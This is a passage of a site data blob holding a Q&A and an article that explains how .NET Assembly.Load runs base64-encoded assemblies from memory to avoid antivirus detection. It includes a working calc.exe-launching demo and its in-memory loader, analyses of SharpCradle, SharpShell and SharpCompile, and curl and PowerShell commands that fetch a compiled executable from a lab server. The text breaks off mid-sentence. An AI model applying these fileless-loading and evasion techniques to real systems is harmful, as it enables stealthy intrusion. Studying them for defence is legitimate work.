[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fBLKvoiSfSvkTVl56Er_8qawHZ86r5KFC6Rsj5ZIEinc":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":34,"aiModel":39,"aiConfidence":39,"updatedAt":51,"createdAt":52,"_status":50},357,"Why is Assembly.Load considered a stealthy technique for exploitation?","Because it loads .NET assemblies entirely from memory without writing any files to disk. Traditional file-based attacks can be detected by antivirus or forensic tools scanning the filesystem. By using `Assembly.Load()` with a base64‑encoded payload, an attacker can execute arbitrary code while leaving minimal traces. This approach is similar to the `execute-assembly` technique discussed in the companion article [Analysis of Exploitation Techniques for Loading .NET Assemblies from Memory (execute-assembly)](\u002Fnews\u002Fanalysis-of-exploitation-techniques-for-loading-net-assemblies-from-memory-execute-assembly), and aligns with broader in‑memory exploitation strategies such as [Loading PE files into memory via .NET](\u002Fnews\u002Floading-pe-files-into-memory-via-net).","\u003Cp>Because it loads .NET assemblies entirely from memory without writing any files to disk. Traditional file-based attacks can be detected by antivirus or forensic tools scanning the filesystem. By using `Assembly.Load()` with a base64‑encoded payload, an attacker can execute arbitrary code while leaving minimal traces. This approach is similar to the `execute-assembly` technique discussed in the companion article [Analysis of Exploitation Techniques for Loading .NET Assemblies from Memory (execute-assembly)](\u002Fnews\u002Fanalysis-of-exploitation-techniques-for-loading-net-assemblies-from-memory-execute-assembly), and aligns with broader in‑memory exploitation strategies such as [Loading PE files into memory via .NET](\u002Fnews\u002Floading-pe-files-into-memory-via-net).\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fanalysis-of-exploitation-techniques-for-loading-net-assemblies-from-memory-assembly-load\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","why-is-assemblyload-considered-a-stealthy-technique-for-exploitation-1777483979537","stealth, fileless execution, Assembly.Load, in-memory, antivirus evasion, .NET exploitation",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":30,"cover":31,"author":32,"views":19,"readingTime":33,"status":34,"publishedAt":35,"seo":36,"tags":41,"qaPairs":42,"meta":47,"updatedAt":48,"createdAt":49,"_status":50},90,"Analysis of Exploitation Techniques for Loading .NET Assemblies from Memory (Assembly.Load)","analysis-of-exploitation-techniques-for-loading-net-assemblies-from-memory-assembly-load","Learn how to exploit Assembly.Load for loading .NET assemblies from memory without disk writes, enhancing stealth in penetration testing.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>In the previous article \"Analysis of Exploitation Techniques for Loading .NET Assemblies from Memory (execute-assembly)\", the implementation method and exploitation approach of \"execute-assembly\" were introduced, which enables loading .NET assemblies from memory. This feature does not require writing files to the hard disk, making it highly stealthy.\u003C\u002Fp>\u003Cp>A similar method is Assembly.Load, which also allows loading .NET assemblies from memory.\u003C\u002Fp>\u003Cp>This article will introduce the implementation method of Assembly.Load and analyze exploitation approaches by combining three open-source projects.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following topics:\u003C\u002Fp>\u003Cul>\u003Cli>Fundamental Knowledge\u003C\u002Fli>\u003Cli>Analysis of SharpCradle Exploitation\u003C\u002Fli>\u003Cli>Analysis of SharpShell Exploitation\u003C\u002Fli>\u003Cli>Analysis of SharpCompile Exploitation\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Fundamental Knowledge\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>References:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fdotnet\u002Fapi\u002Fsystem.reflection.assembly.load?view=netframework-4.5\u003C\u002Fp>\u003Ch3>1. Differences between Assembly.Load(), Assembly.LoadFrom(), and Assembly.LoadFile()\u003C\u002Fh3>\u003Cp>Assembly.Load() loads an assembly from a String or AssemblyName type, capable of reading assemblies in string form, meaning the file does not need to be written to disk\u003C\u002Fp>\u003Cp>Assembly.LoadFrom() loads an assembly from a specified file and also loads other assemblies referenced and depended upon by the target assembly\u003C\u002Fp>\u003Cp>For example:\u003C\u002Fp>\u003Cp>Assembly.LoadFrom(\"a.dll\")—if a.dll references b.dll, both a.dll and b.dll will be loaded\u003C\u002Fp>\u003Cp>Assembly.LoadFile() also loads an assembly from a specified file but does not load other assemblies referenced and depended upon by the target assembly\u003C\u002Fp>\u003Cp>For example:\u003C\u002Fp>\u003Cp>Assembly.LoadFile(\"a.dll\")—if a.dll references b.dll, b.dll will not be loaded\u003C\u002Fp>\u003Ch3>2. Implementation example of Assembly.Load()\u003C\u002Fh3>\u003Ch4>(1) Writing a test program\u003C\u002Fh4>\u003Cp>The code for the test program is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>using System;\u003Cbr>namespace TestApplication\u003Cbr>{\u003Cbr>\tpublic class Program\u003Cbr>\t{\u003Cbr>\t\tpublic static void Main()\u003Cbr>\t\t{\u003Cbr>\t\t\tConsole.WriteLine(\"Main\");\u003Cbr>\t\t}\u003Cbr>\t}\u003Cbr>\tpublic class aaa\u003Cbr>\t{\u003Cbr>\t\tpublic static void bbb()\u003Cbr>\t\t{\u003Cbr>\t\t\tSystem.Diagnostics.Process p = new System.Diagnostics.Process();\u003Cbr>\t\t\tp.StartInfo.FileName = \"c:\\\\windows\\\\system32\\\\calc.exe\";\u003Cbr>\t\t\tp.Start();\u003Cbr>    \t\t}\u003Cbr>\t}\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Compile using csc.exe:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe \u002Fout:testcalc.exe test.cs\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Generate testcalc.exe\u003C\u002Fp>\u003Ch4>(2) Read the content of testcalc.exe and perform base64 encryption\u003C\u002Fh4>\u003Cp>Code as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>using System;\u003Cbr>using System.Reflection;\u003Cbr>namespace TestApplication\u003Cbr>{\u003Cbr>    public class Program\u003Cbr>    {\u003Cbr>        public static void Main()\u003Cbr>        {\u003Cbr>\u003Cbr>            byte[] buffer = System.IO.File.ReadAllBytes(\"testcalc.exe\");\u003Cbr>            string base64str = Convert.ToBase64String(buffer);\u003Cbr>            Console.WriteLine(base64str);\u003Cbr>        }\u003Cbr>    }\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>(3) Decrypt the string variable, restore the content of testcalc.exe, use Assembly.Load() to load the assembly and call method bbb\u003C\u002Fh4>\u003Cp>The code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>using System;\u003Cbr>using System.Reflection;\u003Cbr>namespace TestApplication\u003Cbr>{\u003Cbr>    public class Program\u003Cbr>    {\u003Cbr>        public static void Main()\u003Cbr>        {\u003Cbr>\u003Cbr>            string base64str = \"TVqQAAMAAAAEAAAA\u002F\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\";\u003Cbr>            byte[] buffer = Convert.FromBase64String(base64str);\u003Cbr>\u003Cbr>            Assembly assembly = Assembly.Load(buffer);\u003Cbr>            Type type = assembly.GetType(\"TestApplication.aaa\");\u003Cbr>            MethodInfo method = type.GetMethod(\"bbb\");\u003Cbr>            Object obj = assembly.CreateInstance(method.Name);\u003Cbr>            method.Invoke(obj, null);\u003Cbr>        }\u003Cbr>    }\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x03 SharpCradle Exploitation Analysis\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002Fanthemtotheego\u002FSharpCradle\u003C\u002Fp>\u003Cp>SharpCradle supports downloading binary files from the web or file shares and loading them in memory\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>This requires saving the compiled binary file on the remote server\u003C\u002Fp>\u003Cp>The code of SharpCradle is clear and intuitive. Here, the relevant code for calling Assembly.Load() is extracted as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>        public static void loadAssembly(byte[] bin, object[] commands)\u003Cbr>        {\u003Cbr>            Assembly a = Assembly.Load(bin);\u003Cbr>            try\u003Cbr>            {       \u003Cbr>                a.EntryPoint.Invoke(null, new object[] { commands });\u003Cbr>            }\u003Cbr>            catch\u003Cbr>            {\u003Cbr>                MethodInfo method = a.EntryPoint;\u003Cbr>                if (method != null)\u003Cbr>                {\u003Cbr>                    object o = a.CreateInstance(method.Name);                    \u003Cbr>                    method.Invoke(o, null);\u003Cbr>                }\u003Cbr>            }\u002F\u002FEnd try\u002Fcatch            \u003Cbr>        }\u002F\u002FEnd loadAssembly\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>It is worth noting that MethodInfo method = a.EntryPoint; indicates that the entry function is being called\u003C\u002Fp>\u003Cp>That is to say, the main functionality of the loaded assembly should be written in the Main function, as in the example code from 0x02:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>using System;\u003Cbr>namespace TestApplication\u003Cbr>{\u003Cbr>\tpublic class Program\u003Cbr>\t{\u003Cbr>    \t\tpublic static void Main()\u003Cbr>    \t\t{\u003Cbr>        \t\tConsole.WriteLine(\"Main\");\u003Cbr>    \t\t}\u003Cbr>\t}\u003Cbr>\tpublic class aaa\u003Cbr>\t{\u003Cbr>    \t\tpublic static void bbb()\u003Cbr>    \t\t{\u003Cbr>        \t\tSystem.Diagnostics.Process p = new System.Diagnostics.Process();\u003Cbr>        \t\tp.StartInfo.FileName = \"c:\\\\windows\\\\system32\\\\calc.exe\";\u003Cbr>        \t\tp.Start();\u003Cbr>    \t\t}\u003Cbr>\t}\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>When using SharpCradle for remote download and execution, only the content in the Main function is executed by default.\u003C\u002Fp>\u003Ch2>0x04 Analysis of SharpShell Exploitation\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002Fcobbr\u002FSharpShell\u003C\u002Fp>\u003Cp>SharpShell can quickly cross-compile .NET Framework console applications or libraries using the Roslyn C# compiler\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Only code files are required here, no compiled binaries\u003C\u002Fp>\u003Cp>SharpShell includes the following three sub-projects:\u003C\u002Fp>\u003Col>\u003Cli>SharpShell\u003C\u002Fli>\u003C\u002Fol>\u003Cp>Uses the Roslyn C# compiler to compile input code, loads it into memory, and returns execution results\u003C\u002Fp>\u003Cp>Since Roslyn only works with .NET Core or .NET 4.6+ and does not support .NET 3.5 or .NET 4.0\u003C\u002Fp>\u003Cp>SharpShell here requires a .NET 4.6+ environment to run\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>In my test environment, .NET 4.5 can also run, as shown in the image below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770018747957_0_a34f919e22.jpeg\">\u003C\u002Fp>\u003Col>\u003Cli>SharpShell.API\u003C\u002Fli>\u003C\u002Fol>\u003Cp>SharpShell.API requires a .NET Core development environment. Refer to the previous article 'SharpGen Usage Analysis' for SharpGen development environment configuration\u003C\u002Fp>\u003Cp>SharpShell.API uses ASP.NET Core 2.1 to invoke Roslyn as an HTTP server, receiving code from SharpShell.API.SharpShell, compiling it, and returning the generated binary file.\u003C\u002Fp>\u003Col>\u003Cli>SharpShell.API.SharpShell\u003C\u002Fli>\u003C\u002Fol>\u003Cp>SharpShell.API.SharpShell can be used in .NET 3.5 and .NET 4.0, sending code files via POST to the HTTP server, receiving the compiled binary file, loading it into memory, and returning the execution result.\u003C\u002Fp>\u003Cp>Here we only introduce the projects SharpShell.API and SharpShell.API.SharpShell related to Assembly.Load().\u003C\u002Fp>\u003Ch3>1. Test Environment Setup\u003C\u002Fh3>\u003Ch4>(1) SharpShell.API\u003C\u002Fh4>\u003Cp>Requires a .NET Core development environment.\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>git clone https:\u002F\u002Fgithub.com\u002Fcobbr\u002FSharpShell\u003Cbr>cd .\\SharpShell\\SharpShell.API\u003Cbr>dotnet build --configuration Release\u003Cbr>cd .\\bin\\Release\\netcoreapp2.1\u003Cbr>dotnet SharpShell.API.dll\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After starting SharpShell.API, visit: http:\u002F\u002F127.0.0.1:5000\u002Fswagger\u002Findex.html\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770018756361_1_94f9a24db6.jpeg\">\u003C\u002Fp>\u003Ch4>(2)SharpShell.API.SharpShell\u003C\u002Fh4>\u003Cp>Requires Visual Studio development environment; after compilation, generates the file SharpShell.API.SharpShell.exe\u003C\u002Fp>\u003Cp>After launching, input the test command Shell.ShellExecute(\"whoami\");\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770018768646_2_1f82171c15.jpeg\">\u003C\u002Fp>\u003Ch3>2. Implementation Process\u003C\u002Fh3>\u003Cp>Here, I use Wireshark to capture the communication data of the entire process, which is more intuitive, as shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770018785288_3_bf4d280460.jpeg\">\u003C\u002Fp>\u003Cp>The process is as follows:\u003C\u002Fp>\u003Col>\u003Cli>SharpShell.API.SharpShell sends a POST request\u003C\u002Fli>\u003Cli>After receiving the POST request, SharpShell.API replies with a confirmation message HTTP\u002F1.1 100 Continue\u003C\u002Fli>\u003Cli>SharpShell.API.SharpShell sends the code file in JSON format\u003C\u002Fli>\u003Cli>SharpShell.API receives the code file, compiles it using the Roslyn C# compiler, and replies with the generated content in base64 format\u003C\u002Fli>\u003Cli>SharpShell.API.SharpShell decrypts the received reply content from base64 and calls Assembly.Load() to load it\u003C\u002Fli>\u003C\u002Fol>\u003Cp>In summary, SharpShell.API.SharpShell also calls Assembly.Load() to load .NET assemblies from memory. The differences from SharpCradle are as follows:\u003C\u002Fp>\u003Cp>SharpCradle requires saving the compiled binary file on the remote server\u003C\u002Fp>\u003Cp>SharpShell only needs to send the code file to the remote server, without requiring the compiled binary file\u003C\u002Fp>\u003Ch2>0x05 SharpCompile Exploitation Analysis\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002FSpiderLabs\u002FSharpCompile\u003C\u002Fp>\u003Cp>SharpCompile consists of the following two parts:\u003C\u002Fp>\u003Col>\u003Cli>SharpCompileServer\u003C\u002Fli>\u003C\u002Fol>\u003Cp>Acts as an HTTP server to receive code from POST requests, compiles it, and returns the generated binary file\u003C\u002Fp>\u003Cp>Here, csc.exe is used to compile the code, not the Roslyn C# compiler from SharpShell\u003C\u002Fp>\u003Cp>Default csc.exe version: C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v2.0.50727\\\\csc.exe\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Pay attention to whether the HTTP server and local .NET versions are consistent\u003C\u002Fp>\u003Col>\u003Cli>SharpCompile.cna\u003C\u002Fli>\u003C\u002Fol>\u003Cp>Cobalt Strike script file; before use, specify the HTTP server URL and the location to save the script file\u003C\u002Fp>\u003Cp>By default, curl is used to upload the code file to the HTTP server, so the test environment must have curl installed in advance\u003C\u002Fp>\u003Ch3>1. Actual Testing\u003C\u002Fh3>\u003Ch4>(1) Starting the HTTP server\u003C\u002Fh4>\u003Cp>SharpCompileServer requires a Visual Studio development environment; after compilation, it generates the file SharpCompileServer.exe\u003C\u002Fp>\u003Cp>Execute SharpCompileServer.exe to start the HTTP server, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770018794338_4_f26bf6738b.jpeg\">\u003C\u002Fp>\u003Ch4>(2) Functional testing of the HTTP server\u003C\u002Fh4>\u003Cp>Send POST-formatted code to the HTTP server and check the returned content\u003C\u002Fp>\u003Cp>Save the code file as test.cs with the following content:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>using System;\u003Cbr>namespace TestCalc\u003Cbr>{\u003Cbr>    class Hello\u003Cbr>    {\u003Cbr>        static void Main(string[] args)\u003Cbr>        {\u003Cbr>            System.Diagnostics.Process.Start(\"calc.exe\");\u003Cbr>        }\u003Cbr>    }\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Here, PowerShell and curl commands are used for testing respectively.\u003C\u002Fp>\u003Col>\u003Cli>powershell\u003C\u002Fli>\u003C\u002Fol>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Invoke-RestMethod -Uri http:\u002F\u002F192.168.112.175 -Method Post -InFile .\\test.cs -OutFile .\\out.exe\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>This command reads the content from test.cs, sends it to the HTTP server (http:\u002F\u002F192.168.112.175), and saves the returned file as out.exe.\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The Invoke-RestMethod command requires PowerShell v3.0.\u003C\u002Fp>\u003Col>\u003Cli>curl\u003C\u002Fli>\u003C\u002Fol>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>curl --request POST --data-binary @test.cs -o out.exe http:\u002F\u002F192.168.112.175 -v\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>This command reads the content from 